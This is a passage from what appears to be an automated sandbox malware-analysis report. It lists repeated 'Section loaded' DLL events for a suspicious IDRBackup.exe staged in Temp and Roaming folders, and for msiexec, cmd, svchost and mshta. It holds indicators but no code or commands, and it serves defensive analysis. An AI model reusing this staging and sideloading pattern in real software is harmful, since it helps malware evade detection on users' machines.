Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: datastate.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: datastate.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: datastate.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: datastate.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: datastate.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msftedit.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: comsvcs.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmlua.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmutil.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: version.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msftedit.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: comsvcs.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmlua.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmutil.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: sqlite3.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: datastate.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: oledlg.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: pla.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: tdh.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: wevtapi.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: shdocvw.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: sqlite3.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: datastate.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: oleacc.dll

Source: C:\Windows\SysWOW64\mshta.exe

